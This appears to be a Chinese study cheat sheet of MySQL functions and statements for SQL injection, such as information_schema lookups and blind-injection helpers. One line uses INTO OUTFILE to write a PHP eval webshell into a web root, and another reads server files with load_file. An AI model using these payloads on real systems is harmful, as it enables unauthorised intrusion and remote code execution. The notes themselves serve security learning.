Information_schema 库
-
schemata
schema_name 该列存储了库名
-
Tables
table_schema 该列存储了库名 table_name 该列存储了表名
-
columns
column_name 该列存储了列名 table_name 该列存储了表名
常用函数
select database() | 查询获取当前库名 |
select version(); select @@version; select @@global.version | 查询获取数据库版本号 |
select user(); select current_user(); select current_user; select system_user(); select session_user() | 查询获取当前数据库用户名 |
select @@version_complie_os | 查询数据库系统 |
Select @@basedir | 查看数据库安装目录 |
substr(database(),2,1); mid(database(),2,1) | 从第2位开始取1位(位数从1开始) |
Left(database(),5) | 从左侧截取5位,如数据库为security,则结果为secur |
ascii(‘a’) | 把a转化位ascii的十进制 |
length( ( select database() ) )=8 | 判断数据库长度是否等于8 |
select count(table_name) ;count(userid) | 查看列userid有多少(即表有多少项) ,.查询数据库中有多少个表,同理可以也查询到有多少个列 |
If(x,exp1,exp2) | x的值为真,返回exp1表达式。否则返回exp2表达式 |
基本语句
语句 | 操作 |
---|---|
insert into users(id,name,password) values(‘100’,‘zzz’,‘zzz123’) | |
Delete from users where id=1 | 在表users中删除id=1的值 |
Update users set password=‘zzz123’ where name=‘admin’ | 更新users表中admin的密码 |
select load_file(“/var/www/html/flag.txt”) | 读取/var/www/html/flag.txt文件 |
select “<?=eval($_POST[‘zzz’])>” into outfile “/var/www/html/zzz.php” | 在/var/www/html/写入一句话木马 |
还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\